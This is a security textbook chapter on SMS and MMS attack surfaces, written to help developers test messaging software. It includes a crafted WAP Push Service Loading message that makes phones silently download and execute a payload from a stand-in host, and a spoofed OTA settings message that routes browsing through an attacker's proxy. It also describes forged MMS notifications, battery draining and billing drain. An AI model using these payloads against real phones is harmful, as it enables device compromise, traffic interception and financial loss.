CHAPTER 11
SMS Security
The Short Message Service, often referred to as SMS or texting, is a standardized form of communication that allows two mobile phone devices to exchange short text messages of up to 160 characters. The SMS specification was originally written into the set of GSM specifications in 1985; however, since then it has been incorporated into other competing technologies, such as Code Division Multiple Access (CDMA). In practice, this allows users of almost any major cellular carrier network to exchange text messages and often allows at least basic messages to be sent between carriers.
Since its inception, SMS has seen explosive growth in its popularity and usage. For example, in the first quarter of 2007 alone, more than 620 billion messages were sent worldwide (see www.160characters.org/news.php?action=view&nid=2325). A significant portion of this growth is due to the fact that SMS has shifted from being a simple service of sending short text-only messages to being an umbrella term that defines an increasingly wide range of functionality. New features such as the Multimedia Messaging Service (MMS) allow users to send pictures, audio, and video recordings to each other by building new functionality on top of the SMS layer. Additionally, cellular carrier operators have added new ways to perform administrative functions such as sending voicemail notifications, pushing updated settings, and even pushing updates to the mobile phone operating system itself by using SMS as a delivery mechanism. Although these new capabilities have greatly expanded the usage of SMS, they have also expanded the attack surface that SMS presents in today’s modern mobile phones.
For a significant portion of the time it has been deployed, there have been two reasons why SMS has been an incredibly difficult attack surface. First, mobile phones have traditionally not offered any easy way to obtain low-level control of the operating system of the device. An attacker wishing to try to compromise a victim’s mobile phone via SMS needs control over their own device first to be able to craft the carefully manipulated SMS messages used during the attack. Second, even if the attacker discovered a vulnerability in the mobile operating system of the victim’s phone, traditional mobile operating systems were closed-source proprietary systems that required an incredibly detailed understanding to be able to successfully execute malicious code on. However, both of these attack constraints have all but disappeared in recent years with the introduction of today’s modern mobile phones. Today’s phones allow attackers unprecedented control over the operating system. For example, the Android operating system is entirely open source, allowing an attacker to modify their operating system as they see fit, making it easier to construct attacks. Finally, the use of open-source operating systems such as Android and widely documented and understood operating systems such as Windows Mobile means that the technical hurdles of exploiting an issue once it has been discovered have dropped dramatically. Where an attacker would previously have to obtain detailed knowledge about the custom proprietary operating system a victim’s phone was running, the attacker can now read widely available technical documentation or the source code of the operating system of the victim’s phone.
This chapter discusses SMS security from an attacker’s point of view. The goal of this is to demonstrate to developers of messaging-related software on mobile phones what threats they face and how to test their own software using the mindset of the attackers their software is likely to face once it is deployed. This chapter covers both protocol attacks and application attacks. Protocol attacks relate to manipulating messages within the SMS protocols to perform security-sensitive actions or manipulating messages that are part of the SMS and MMS standards to attempt to crash or execute code on the target mobile device. Application attacks are attacks against applications and libraries on the victim’s mobile phone. These attacks, although not targeting the actual SMS implementations, often focus on third-party add-ons to the core SMS implementations and almost always require SMS to deliver the attack code to the victim’s phone.
Overview of Short Message Service
Short Message Service is a relatively straightforward system designed for one mobile subscriber to be able to send a short message to another mobile subscriber. The SMS system itself operates as a “store and forward” system within the carrier. This means that when mobile subscriber Bob wants to send a message to mobile subscriber Alice, the process involves a few (slightly simplified) steps. First, Bob composes the message on his mobile phone and then submits it to the carrier network. The server in the carrier network that handles the message is referred to as the short message service center, or SMSC. The SMSC receives the message from Bob and then checks to see if Alice is on the network and able to receive messages. If she is, the SMSC then forwards the message to Alice, who sees a new message appear on her mobile phone from Bob. The SMSC both stores incoming messages and determines when the messages can be forwarded on. This is what gives the system its name. This example has been slightly simplified, of course. In a real carrier deployment, more components are involved, such as billing equipment; however, they have been left out here because they do not play a role in the attacks we will discuss throughout this chapter.
Figure 11-1 illustrates a basic SMS message being sent from Bob to Alice inside the same carrier.
From a high level, this process only changes slightly when Bob and Alice are on different carrier networks. Figure 11-2 illustrates a basic SMS message being sent from Bob to Alice when they use separate carriers.
However, in practice the process of a message being sent from a user on one carrier to a user on another carrier can have a huge impact on determining whether or not an attack will be successful. Each carrier tends to use different protocols internally to transport SMS messages, and as such cannot communicate directly with other carriers in order to hand off SMS messages. Typically, the first carrier will convert the message into an agreed upon format (such as e-mail) before handing the message over to the other carrier for processing. In practice, this means that although the contents of the message tend to remain the same, other information such as bitmask values in the headers of the message may be stripped out.
Figure 11-1 SMS message between phones using the same carrier
Figure 11-2 SMS message between phones on different carriers
References to the contents of a message and bitmask header fields bring up an important question: What exactly does a raw SMS message look like? A raw SMS message is typically referred to as a protocol data unit, or PDU. A basic SMS PDU contains several header fields as well as the message contents. The header fields define a number of values that are essential in successfully delivering and understanding the message being sent. For example, one such value is the destination phone number of the message being sent. This value is what the SMSC uses to determine whom the message is being sent to. Another value is the message encoding type. SMS messages can typically be encoded in one of three encoding types: GSM 7-bit, 8-bit ASCII, and 16-bit UCS2. The GSM 7-bit encoding method is predominantly used in English language text messages. This encoding uses only seven bits per character instead of the normal ASCII eight bits. Because a bit is shaved off from each character, a message can store extra characters, allowing the user to type more into a single message. The ASCII 8-bit encoding is the normal ASCII 8-bit encoding that has been used in computing for quite some time—no modifications were made for its use in SMS. The last encoding type, UCS2, is a 16-bit encoding type that was developed as the predecessor to the UTF-16 encoding type. It allows the use of extended characters and is predominantly used for non-English language text messages such as Mandarin Chinese and Arabic.
Figure 11-3 illustrates a basic SMS messages received from “1-555-555-1212” using GSM 7-bit encoding and containing the message “AAA.”
Arguably the most important field in an SMS PDU is the User Data Header, or UDH. The UDH allows an additional set of headers to be defined in the message contents portion of the SMS PDU. This is what has allowed such extensive functionality, such as multimedia messages, to be built on top of SMS. The ability for additional headers to be defined inside a message allows any amount of additional functionality can be built on top of SMS messages. This functionality does not always have to be as advanced as graphical messages, however. For example, one extremely common use of the User Data Header is to allow multipart SMS messages. When a user wishes to send a message that contains more characters than can be held by a single message, a User Data Header is defined that tells the receiving mobile phone that this message will be delivered in multiple parts. This multipart message UDH then contains all the information the receiving mobile phone needs to successfully reconstruct the different parts of the message into the one large message the user originally sent.
Figure 11-4 illustrates a UDH inside an SMS PDU.
Overview of Multimedia Messaging Service
When SMS was first designed, it was only to send basic text content of a relatively small size. As with many technologies, however, it has since progressed far beyond its original design goals. Multimedia Messaging Service (MMS) is the next progression in the usage of SMS. MMS can send various types of images, audio, and video in addition to text. The demand for this functionality arose out of the changing nature of mobile phones themselves. As time progressed, mobile phones began to contain more and more functionality, such as the ability to record audio, take pictures, and even record video. Once users had this technology in their phones, carriers saw the potential to generate new streams of revenue by allowing users to share their audio and video content with each other, hence the creation of MMS.
Initially from an introductory high level, MMS can be thought of as fairly similar to SMS. For example, consider the typical use case of MMS as shown in Figure 11-5. In this example, Bob wants to send a picture of his new robot to Alice. Unlike with SMS however, Alice receives a message notification rather than message content. Alice selects to download the message contents to her phone from the carrier’s servers. Upon successful download, the image and text is displayed to Alice.
Figure 11-5 MMS from a user standpoint
Although it may appear to the user that MMS is almost exactly like SMS, MMS is fundamentally different from SMS. From the mobile carrier perspective, MMS requires a far higher level of equipment and support. This is illustrated in Figure 11-6, which shows the delivery of an MMS message with more details provided. In another example of its additional complexity over SMS, MMS does not use just one technology. Rather, several technologies are used throughout the creation and delivery of an MMS message.
Figure 11-6 More detailed MMS diagram
For these reasons, not all carriers implement full support for MMS. As discussed, true MMS support should allow users to be able to send any audio, video, or pictures of their choice. However, carriers will often limit the functionality allowed on their networks to simple pictures. Finally, some carriers do not even truly support MMS but instead fake it by embedding a link to MMS content within a normal SMS. The user then visits the carrier’s website using the cell phone’s web browser.
WAP is a collection of standards developed in order to provide Internet access to cell phones. The standards were originally written by the WAP Forum and later by the Open Mobile Alliance (OMA). Both of the groups’ memberships include equipment vendors. |
WAP is used primarily to provide interactive content such as web browsing as well as to provide carrier-specific information to phones in the background. Figure 11-7 shows a phone accessing a WAP site. |
WAP browsers use Wireless Markup Language (WML) rather than HTML. There are many similarities between the WAP protocol suite or stack and common IP protocols; Figure 11-8 illustrates some of these similarities. Keep in mind that these are not exactly the same but rather close equivalents. |
The lowest level on the WAP stack from Figure 11-8 is described as bearer, which is a protocol that can carry Wireless Datagram Protocol (WDP). The most common bearers are SMS- and IP-based ones. This chapter discusses SMS rather than IP bearers. |
WDP is designed to be very similar to User Datagram Protocol (UDP). Traffic is expensive over cellular networks—not only in data costs, but transmission costs are also high. Battery life is a crucial resource, and as such a UDP-like protocol eliminates the overhead associated with TCP. |
Wireless Session Protocol (WSP) is equivalent to HTTP, in particular HTTP/1.1. However, in order to save space, the protocol is binary. In essence, WSP is a compressed form of HTTP. |
Wireless Application Environment (WAE) carries various markup languages. Older implementations (WAP 1.x) use WML. Newer implementations (WAP 2.0) use XHTML-MP. These markup languages are similar to various nonmobile markup languages for web content. |
Figure 11-7 WAP browser on a phone
Of the different technologies used in MMS carrier implementations, the major MMS technological components discussed in this chapter are SMS, WAP, and IP/HTTP. WAP (and in particular WAP Push) is covered, and a basic level of HTTP understanding is assumed. This allows for an immediate set of useful knowledge while leaving the excruciating protocol details to the standards.
Figure 11-8 Approximate equivalents between WAP- and IP-based protocols
Protocol Attacks
A number of attacks belong together under one logical heading of “protocol” attacks. However, these attacks can then be thought of as belonging to one of two subcategories.
The first of these subcategories is abusing legitimate functionality. These attacks do not exploit a previously undiscovered flaw in the implementation of software on a target mobile phone, but rather misuse legitimate functionality purposely built into the mobile phone. In every mobile phone network there is a significant portion of functionality that is meant to be hidden from the end user of a mobile device. For example, administrative and provisioning communication between mobile phones and the carrier network is designed to take place in such a way that the user should have no way to modify it, and ideally such that the user is not even aware it is taking place. In the SMS realm, a number of administrative messages take place without the user being directly informed. Typically these relate to actions such as updating settings on the phone, pushing executable updates to the phone, and setting up more advanced and involved communications like MMS. One administrative function that is not an attack, but clearly illustrates the sort of administrative functions that can be delivered over SMS, is voicemail notifications.
Voicemail notifications occur after a voicemail has been left for a mobile subscriber. Once the carrier receives the voicemail, a notification must be generated to let the mobile subscriber know they have a voicemail waiting on the carrier’s voicemail server. This notification can be sent in one of several ways; however, the most commonly used method is to send the mobile subscriber a specially crafted SMS that informs the mobile phone that X number of voicemail messages are waiting. When the mobile phone receives this special message from the carrier, it displays a notification to the user, generally in the form of a pop-up or a graphic appearing on the phone. In this example, the voicemail notification is a special administrative message sent over SMS that is only supposed to be generated by the carrier’s network. However, often there is nothing blocking an attacker from generating their own voicemail notification message and sending it to a victim. Although this could hardly be considered a serious attack, it serves to illustrate the point that there are legitimate administrative functions performed over SMS. These functions are meant to be sent from a carrier to a subscriber’s mobile phone; however, typically nothing is in place to stop an attacker from spoofing these messages and sending them to victims’ mobile phones. Figures 11-9 and 11-10 graphically illustrate, respectively, a legitimate voicemail notification being sent to Alice, followed by an attacker (Bob) spoofing a voicemail notification to his victim (Alice).
Figure 11-9 Carrier-initiated voicemail notification
The second of these subcategories involves attempting to find vulnerabilities in the implementations of the popular SMS protocols. The goal of these attacks is to find a vulnerability in the SMS implementation of a mobile phone that would allow an attacker to send a corrupted message to a victim’s phone that would result in the victim’s phone running hostile code. Discovering these vulnerabilities often relies on corrupting, or fuzzing, otherwise valid SMS messages in such a way that triggers an error condition on the mobile phone. For example, in a basic SMS header, the length field tells the receiving mobile phone how many characters are stored in the incoming message. If an attacker can manipulate this length field to say there are a larger number of characters than there really are, an error condition could potentially be triggered.
Figure 11-11 illustrates a normal SMS with the length field first correctly set at 3 (03), followed by the same message with the length field manipulated to 255 (FF).
Figure 11-10 Spoofed voicemail notification
Figure 11-11 Corrupted SMS PDU
Abusing Legitimate Functionality
This section focuses on three different examples of abusing legitimate functionality. First a background on WAP Push messages is discussed, followed by an example attack. Next, MMS Notification functionality and attacks are discussed. Finally, an example OTA Settings attack is covered.
WAP Push Intro
For a multitude of reasons, mobile carriers require the ability to interact with the mobile phones on their network in an administrative fashion. A WAP Push SMS message is one such mechanism carriers employ to achieve this goal. A WAP Push message is designed to allow an authorized party such as a user’s carrier to push content to a user’s cell phone. This allows carriers to initiate a connection to the cell phone in order to provide updates or services to the customers. Although WAP Push functionality can communicate over UDP port 2049 on phones that support it, SMS is used as the primary delivery mechanism. Once it is delivered over SMS, the content contained inside a WAP Push message requires little if any user interaction, depending on message type and options. The messages are meant not to interrupt the user by mostly operating in the background, as exemplified by the different types of WAP Push messages available.
The three types of WAP Push messages available are SI (Service Indication), SL (Service Loading), and CO (Cache Operations). Both SI and SL types deliver a URI to the phone pointing to content. The CO type invalidates objects created by SI or SL messages. This section provides the necessary background information on these three types so that SMS attacks involving WAP Push messages can be discussed.
Service Indication messages are used to inform the user that a service is available. The user can choose to act on the information by starting the service or postponing it. The service is pointed to by the URI included in the SI message. The message can also include a description of the service in order to give the user more contextual information on whether or not they’d be interested in the message. Typical services can be stock quotes, e-mail notification, and advertising. The key concept is that this message type requires user notification and interaction.
Service Indication messages are created in XML and then compiled to the WAP Binary XML (WBXML) binary format, as defined by the WAP Forum (see www.openmobilealliance.org/tech/affiliates/LicenseAgreement.asp?DocName=/wap/wap-167-serviceind-20010731-a.pdf?doc=wap-167-serviceind-20010731-a.pdf). The following is a sample Service Indicator message:
<?xml version=”1.0”?>
<!DOCTYPE si PUBLIC “-//WAPFORUM//DTD SI 1.0//EN”
“http://www.wapforum.org/DTD/si.dtd”>
<si>
<indication href=“http://example.com” si-id=“1234”
action=“signal-medium” >
Message Text
</indication>
</si>
The various attributes in this message are explained in the following list:
href This is a Uniform Resource Identifier (URI) to the service.
si-id This an ID for the message, represented as a string value. If it is omitted, the ID will be set to the href value.
action This defines the action taken by the phone. The first three present information to the user and vary in urgency. The possible actions are:
signal-low
signal-medium
signal-high
signal-none
delete
There are also attributes related to message creation and expiry times.
Service Loading messages, as the name implies, load a service and have the option of doing so without any user interaction. These messages were designed for carriers to be able to force the user to execute a service. In contrast to SI messages, SL messages only have two attributes. The following is a sample Service Load message:
<?xml version=”1.0”?>
<!DOCTYPE sl PUBLIC “-//WAPFORUM//DTD SL 1.0//EN”
“http://www.wapforum.org/DTD/sl.dtd”>
<sl href=“http://example.com” action=“execute-low” ></sl>
The various attributes in this message are explained in the following list:
href As before, the href attribute defines the location of the service. However, the action attribute has different options. The action attribute defines the level of user interaction.
execute-low The specification states that this option must not be user intrusive. In other words, the service is executed without informing the user.
execute-high The specification states that this option may be user intrusive. The implementation can vary whether the user is informed or not.
cache The service is cached onto the phone. It is not executed but rather just fetched. The user is not informed that the service is loaded onto the phone.
The difference between SI and SL is apparent in their action names: signal versus execute. As will be shown in the next section, the service-loading functionality is of far more use to attackers.
WAP Push CO messages invalidate objects in the cache. CO messages are not covered because they only allow invalidating previously sent messages, which is not applicable to any attacks covered in this chapter. Generally the same privileges are required to successfully send CO messages as well as SL and SI messages.
WAP Push Attack
WAP Push Service Loading messages are the quintessential example of legitimate functionality that can be abused by an attacker. SL messages were designed to allow mobile phone carriers the ability to push content to users without user interaction. Precisely because of this functionality, SL messages provide an incredibly attractive target for attackers who wish to be able to push malicious content to phones. This section walks through using a WAP Push SL message to perform an attack pushing an executable to a mobile phone.
In this example, the attack targets Windows Mobile devices, many of which are vulnerable by default (refer to http://forum.xda-developers.com/showthread.php?t=395389). In the case of Windows Mobile devices, the vulnerability arises out of configuration mistakes as opposed to an implementation flaw such as a buffer overflow. In its configuration, Windows Mobile defines what authentication is required for SL messages in the registry using security policies. The security policies are stored in HKEY_LOCAL_MACHINESecurityPoliciesPolicies. The SL message policy is defined by the “0000100c” DWORD value. The default value is 0x800 or SECROLE_PPG_TRUSTED. This means that only messages originating from a trusted push proxy gateway are authorized. Many Windows Mobile phones, however, have the policy set to SECROLE_PPG_TRUSTED or SECROLE_USER_UNAUTH. Thus, any SL message regardless of source will be accepted. Although Microsoft specifically states that SECROLE_USER_UNAUTH should not be used in SL Message Policy (http://msdn.microsoft.com/en-us/library/bb416308.aspx), in practice a large number of default carrier-provided Windows Mobile devices have been found to be set to the vulnerable setting of SECROLE_USER_UNAUTH.
When an attacker wishes to attack a device that is set to not require any authentication of WAP Push SL messages, they craft an attack by sending an SL message with a link to a malicious payload. The payload can be a web page but it can even be an executable. The following XML illustrates an attacker’s WAP Push SL message:
<?xml version=”1.0”?>
<!DOCTYPE sl PUBLIC “-//WAPFORUM//DTD SL 1.0//EN”
“http://www.wapforum.org/DTD/sl.dtd”>
<sl href=“http://example.com/payload.exe” action=“execute-low” ></sl>
The message will force the target phone to download payload.exe and proceed to execute it. The attack is done without any user interaction because the action is specified as execute-low.
This section illustrates the ease with which attackers can abuse functionality legitimately built into mobile phones involving SMS if the conditions are right. Although the number of public disclosures on attacks such as this remain far behind the number of publicly announced implementation flaws, the severity of attacks such as this will ensure that they remain a target of attackers for some time to come.
MMS Notification
As described in the section on MMS, there are far more moving pieces involved in sending and receiving an MMS message than a regular SMS. From the user’s perspective, however, there is not much difference between sending/receiving an MMS and sending/receiving an SMS. That is because the additional steps needed to send and receive an MMS are handled silently in the background by the carrier and the user’s mobile phone. MMS notifications are one of the many background messages used in MMS delivery. MMS notification messages are not attacks on their own; however, other attacks are built on top of them. In order to understand these attacks, more detailed coverage of MMS and MMS notifications in particular is needed.
As noted earlier, MMS uses many more messages than SMS. The majority of the new messages are background traffic used by the phone and carrier to aid message delivery. These messages are not displayed or available to the user. Figure 11-12 shows the traffic and messages used by MMS.
This figure uses numbers to represent messages in order:
1. Bob sends an MMS message. The underlying message is M-Send-req.
2. The Mulimedia Messaging Service Server (MMSC) confirms Bob’s message and sends an M-send-conf message confirming the message.
3. The MMSC sends Alice a notification message, M-Notification.ind. The message contains an URL. Note that this URL is the key for various attacks.
4. Alice responds to the MMSC with an M-NotifyResp.ind message. This message is just a confirmation of message 3.
5. Alice issues a WSP or HTTP GET.req message to the location provided in the notification message from message 3. This operation can happen after a time delay if user action is required. User action varies on different platforms.
6. The MMSC sends an M-Retrieve.conf message to Alice. The rest of the messages are background traffic, which isn’t too relevant for attack purposes.
7. Alice sends the MMSC an M.Acknowledge.inf message. The message completes the MMS for Alice.
8. Finally, the MMSC sends Bob an M-Send.conf message.
This discussion demonstrates the delivery of MMS at a more detailed level. As seen, the majority of the traffic is delivered in the background without informing the user. Out of the messages delivered to the target phone, M-Notification.ind is the most interesting. It is delivered on top of a WAP Push message. The payload contains a URL that usually would point to the carrier-controlled server.
In order to observe what effect this message, by itself, would have on a mobile phone, the authors of this book sent a specially crafted notification message to a wide array of target phones. The phones tested provide a range of results, as detailed here:
The majority of the phones did not probe the user at all and performed the GET request to an arbitrary URL. For an attacker, this is easily the most sought-after result. This means that if an attacker can send a victim a specially crafted MMS notification that points to a server they control, they can force a victim’s mobile phone to connect directly to their attack server. This obviously opens a wide-ranging attack surface on the victim’s mobile phone to which an attacker can directly connect.
Some phones that prompted the user for confirmation on accessing the URL contained in the MMS Notification still performed a silent GET request without informing the user.
Other phones prompted the user without providing any context as to where the URL was located. The user was merely provided with a screen informing them “A new message has been received – Download? (Yes/No).” It is likely that almost every user would say yes in this situation. After the user selects Yes, the GET request is issued.
Finally, some phones prompted the user with full contextual information about the originating phone number of the message and the URL pointed to in the message.
Although it may not seem so at first, the MMS notification message is exceptionally useful for an attacker. To realize this importance, one needs to be aware of a large difference between attacking a mobile device and a regular desktop or server system. First, consider an unfirewalled system sitting on the Internet. If an attacker wishes to launch an attack on this system, there is nothing preventing the attacker from connecting to the system and launching a slew of attacks. Next, consider a firewalled system on the Internet. In this case, the attacker will likely be blocked from accessing significant portions of the target system, yet many potentially large areas will still remain. Compare this to a mobile phone, where an attacker has virtually no ability to connect to the target device. By using an MMS notification message to force a victim’s phone to connect back to a system the attacker controls, the attacker finally obtains the ability to launch attacks directly against the mobile phone.
Battery-Draining Attack
One attack that builds off using MMS notifications is a battery-draining attack. The goal of a battery draining attack is to drain the battery of a victim’s phone without their knowledge in a manner that is far more rapid than normal usage, thereby knocking the victim’s, phone offline. This attack exists due to the nature of how mobile phones are optimized to use their internal radio the absolute minimal amount. When a customer is looking at purchasing a new mobile phone, they are often presented with two numbers that represent battery lifetime. The first number is “standby” time, which is typically on the order of several days. The second number is “talk” time, which is a much lower number, usually measured in just a few hours. This is because modern mobile phones are highly optimized to keep their internal radio powered down and avoid sending data whenever possible because this rapidly drains the battery. A battery-draining attack takes advantage of this fact by forcing the radio in the mobile phone to stay on indefinitely until the battery has been exhausted. The key to this attack is performing it stealthily in a way that requires no victim interaction, so that the victim is completely unaware that the attack is being performed.
One of the easiest ways to perform this attack is by abusing the MMS notification functionality. To perform an attack via this method, an attacker crafts an MMS notification message that points to an attack server they control. In the case of a battery-draining attack, the bandwidth needed to perform the attack is negligible, which allows an attacker to use even a home DSL line to perform the attack. Once the MMS notification message has been constructed pointing to their hostile server, the attack sends the message to the victim. The victim’s phone receives the message and automatically connects to the attack server to receive what it assumes will be a legitimate MMS message. Instead of returning a valid image file or video as part of a normal MMS, the attacker has instead configured their server to keep the victim’s phone connected to the server indefinitely. The attacker can perform this in a number of ways, although the easiest method is by “pinging” the victim’s phone with UDP packets. In this method, the attacker waits for the victim’s phone to connect and then obtains the victim’s IP address. The attacker then slowly sends UDP packets to the victim’s IP address, which forces the victim’s phone to stay online and keep the radio powered on. The amount of resources needed for this attack is usually quite low because mobile phones have a timeout value for how long they will stay connected to the Internet without receiving data. For example, if the victim’s mobile phone is set to disconnect if no data is received after 10 seconds, then the attacker only needs to send one UDP packet every nine seconds to force the victim’s phone to stay connected. The amount of resources an attacker needs to be able to send a single UDP packet every nine seconds is so trivial that it means an attacker with a single computer on a home DSL line could likely simultaneously attack an extremely large number of mobile phones. Figure 11-13 illustrates the concept of this attack.
For real-world results of this testing, UC Davis computer security researchers performed this attack against several mobile phones. In their research, they found that they were able to drain the battery life of a target mobile phone up to 22.3 times faster than by normal usage. For details of their research, view “Exploiting MMS Vulnerabilities to Stealthily Exhaust Mobile Phone’s Battery” at www.cs.ucdavis.edu/~hchen/paper/securecomm06.pdf.
Figure 11-13 Battery-draining attack
Silent Billing Attack
Another attack that builds off the nature of MMS messages is the silent billing attack. This attack primarily targets mobile customers with prepaid mobile phones that depend on having a credit balance in their account. The goal of a silent billing attack is to silently drain the victims credit so that they are knocked offline and unable to perform further actions such as making or receiving calls.
To understand how this attack works, first one must think back to the discussion of how MMS messages function. Unlike text SMS messages, MMS messages have more overhead and involve several background messages to set up and confirm that an MMS has been successfully delivered. Because these background messages are only a small part of the process of an MMS message, mobile phones are programmed to not display messages of these types to the user. Instead, they are processed in the background as part of an MMS message, and if they refer to an invalid MMS message they are simply (from a user’s perspective) silently ignored. The silent billing attack takes advantage of two key facts about these types of messages: First, that these messages are silently ignored and not displayed to users. Second, that these messages are still perfectly valid messages from the billing perspective of the carrier’s network. Therefore, an attacker can abuse these messages when they wish to deplete the balance of a victim who has a prepaid mobile phone account, unbeknownst to the victim. By bombarding the victim’s phone with any of the background messages not displayed to the victim/user (for example, a Send Confirmation), the attacker is able to rapidly wipe out the credit balance on the victim’s account. The victim will not be aware that this attack has taken place because their phone didn’t display any of the incoming messages. Thus, once the attack has been completed, the victim is unaware that their account is now empty and they will no longer receive legitimate incoming calls or text messages, in addition to being denied when attempting to place an outbound call or send a text message.
When compared with the other attacks in this chapter, the silent billing attack is hardly the most severe. However, it is included here because it serves to illustrate the point that not all attacks against mobile phones via SMS will be about exploiting code-level flaws in implementations. Rather, there are a wide range of ways to abuse legitimate functionality inside the SMS specifications that can cause real and potentially serious issues for SMS users.
OTA Settings Attack
Over The Air (OTA) settings involve the ability of a carrier to push new settings to a customer’s mobile phone on their network. Support for OTA settings varies widely from mobile phone to mobile phone and from manufacturer to manufacturer; however, mobile phones from Nokia, Sony Ericsson, and Motorola typically contain at least some support for OTA settings, whereas other phones may not. Like SMS itself, the term OTA settings is actually a catchall that can refer to a number of different items. Everything from pushing new browser settings, to pushing firmware updates, to provisioning mobile phones for use on the carrier’s network has been referred to as “OTA settings.” Detailing all potential OTA settings attacks could easily fill an entire book; therefore, in this section we will focus on one common usage of OTA settings. Once this example is understood, its principles can be applied to attacking any other form of OTA settings.
The attack we discuss here involves pushing new WAP browser settings to a target mobile phone. The goal of this attack is to install new settings into the browser configuration of the target mobile phone. If the attack is successful, the victim’s browser will then route all traffic through a proxy that the attacker controls. The attacker is then able to sniff the connection to obtain personal information about the victim, as well as to perform man-in-the-middle attacks against the victim’s traffic. Luckily for an attacker, constructing a message to perform an attack such as this is fairly straightforward. This is due to the fact that WAP browser settings are typically represented in an easy-to-understand XML format. For example, the following is the XML representation of a normal WAP browser settings message that a carrier could send to a customer’s mobile phone:
<CHARACTERISTIC-LIST>
<CHARACTERISTIC TYPE=“ADDRESS”>
<PARM NAME=“BEARER” VALUE=“GSM/CSD”/>
<PARM NAME=“PROXY” VALUE=“123.123.123.123”/>
<PARM NAME=“CSD_DIALSTRING” VALUE=“+4583572”/>
<PARM NAME=“PPP_AUTHTYPE” VALUE=“PAP”/>
<PARM NAME=“PPP_AUTHNAME” VALUE=“wapuser”/>
<PARM NAME=“PPP_AUTHSERCRET” VALUE=“wappassword”/>
</CHARACTERISTIC>
</CHARACTERISTIC-LIST>
In this message, the carrier has sent several settings to the customer’s mobile phone. These settings tell the mobile phone’s browser to use the carrier’s WAP proxy located at IP address 123.123.123.123 and to log into this proxy using the username “wapuser” and password “wappassword” as well as to use PAP as the authentication type. Once a message such as this has been constructed, it is sent from the carrier’s network to the user, as shown in Figure 11-14.
Figure 11-14 Carrier-initiated OTA message
However, as with the attacks discussed previously, there is often nothing blocking an attacker from being able to construct their own message of this type and sending it through the carrier’s network. For example, consider the following attacker-constructed message:
<CHARACTERISTIC-LIST>
<CHARACTERISTIC TYPE=“ADDRESS”>
<PARM NAME=“BEARER” VALUE=“GSM/CSD”/>
<PARM NAME=“PROXY” VALUE=“111.111.111.111”/>
</CHARACTERISTIC>
</CHARACTERISTIC-LIST>
It should be noted that the attacker’s message is even easier to construct than the legitimate carrier-generated message. This is due to the fact that the attacker does not worry about having the victim authenticate to the attacker’s proxy server. The attacker doesn’t want any problems with authentication to block the victim from sending their traffic through the attacker’s proxy, so they leave the authentication options out of the settings. The attacker then sends their hostile settings to the user through the carrier’s network, as shown in Figure 11-15.
A common assumption may be that this attack is not likely to be successful in the real world because a target of the attack would simply see a message from a friend’s number or a number they didn’t recognize displaying something along the lines of new settings being received. However, often in practice the victim has almost no contextual information with which to make an informed decision about whether or not the incoming settings are legitimate or the source of these settings. For example, consider the screen shown in Figure 11-16, which demonstrates the notification displayed to the user of a Sony Ericsson W810i mobile phone when it receives new hostile settings from an attacker.
Figure 11-15 Spoofed OTA message
Figure 11-16 OTA settings screenshot
The main issue that should become immediately apparent is, how does a user know whether this is a legitimate settings update from their carrier or hostile settings being sent from an attacker? No source number of the message is shown, and no indication of what settings will be changed is shown. What if this message had been combined with a social-engineering attack that preceded the new settings dialog with a message saying, “This is a free message from your carrier. We’re rolling out new settings to our customers to enhance their mobile experience. Please accept these new settings when they appear on your phone in the next several minutes.” In this case, even generally security conscious users would likely install the new hostile settings.
This section has demonstrated just one of many possible attacks using OTA settings. However, the lessons learned from this attack can easily be applied by an attacker to performing any other attack using OTA settings. Finally, this section has demonstrated just how easy this attack may be to perform when a target mobile phone displays little or no information that would allow a user to make an informed decision on the legitimacy of the incoming OTA settings.
Attacking Protocol Implementations
As implied by this section’s title, unlike the previous sections, this one does not cover a specific attack. Rather, this section describes the methodology of how to go about attacking SMS implementations. This section describes the challenges and experiences that the authors of this book have learned during the course of their research applying these attack techniques to real-world mobile devices.
Before attack methodologies can be discussed, it is important to understand the significant challenges that restrict and complicate testing for SMS security issues in mobile devices. Specifically, when testing SMS implementations for security issues, the primary hurdle to overcome is reliance on the carrier network. Imagine a scenario in which a tester wishes to fuzz a certain MMS message type where there are 50,000 possible test cases (which is not a particularly high number of test cases for a fuzzer). If each one of these test cases needs to be sent through the carrier’s network as an actual SMS, the amount of time this will take the tester is unrealistically high, to say nothing of the cost. Instead, the goal of anyone wishing to test the security of SMS implementations is to remove the carrier’s network from the equation. One way to do this is to turn the test environment into one that closely resembles testing a TCP/IP network service over an intranet. For example, when testing a newly developed HTTP server for bugs, a tester would rather set up a small dedicated LAN to conduct testing rather than testing the HTTP server over the public Internet.
The easiest way to remove the carrier’s network from the testing process is to take advantage of the Wi-Fi support modern mobile phones have. If a tester can place a mobile phone on a Wi-Fi network and deliver SMS messages to the device over this connection instead of over the carrier’s GSM/CDMA network, the testing experience can be greatly improved. For example, the Windows Mobile 5 platform offers this support by default. When Windows Mobile 5 is placed on a Wi-Fi network, it will listen on UDP port 2948 for incoming SMS WAP messages. This allows significant SMS functionality to be tested on the Windows Mobile 5 platform while circumventing the carrier’s network for greater testing speed and less cost.
An additional way to overcome this hurdle is to use an emulator instead of an actual mobile device. At the time of writing, the best mobile phone emulator to work with is without a doubt the Android emulator, which allows the tester, via use of the sms pdu command, to specify a PDU on the command line that the emulated phone will then treat as if it had just been received from the carrier’s network. This allows the tester to exercise all areas of SMS functionality. The goal of a tester on any platform should be to remove the carrier’s network from the testing equation, whether via Wi-Fi-like Windows Mobile 5 or an emulator such as Android. Although we will not go further in depth on this topic (because it is different for each version of each platform out there), the point of mentioning these challenges is twofold. First, it makes the tester aware of the significant hurdle using the carrier’s network adds to testing. Second, it makes the tester aware that often their target platform will have some functionality either built into the device or in the developer emulator that allows this hurdle to be overcome. Testers should seek this functionality out and use it to greatly improve their testing experience.
Once these limitations have been overcome, there remains the question of how to go about actually testing a targeted SMS implementation. Although “dumb” fuzzing such as generating PDUs filled with garbage data may find a bug or two, the complex structure of an SMS PDU often requires an intelligent approach to finding issues. To help the tester understand what sort of intelligent test cases to come up with, this section discusses two types of SMS messages as case studies that will show testers how to approach testing.
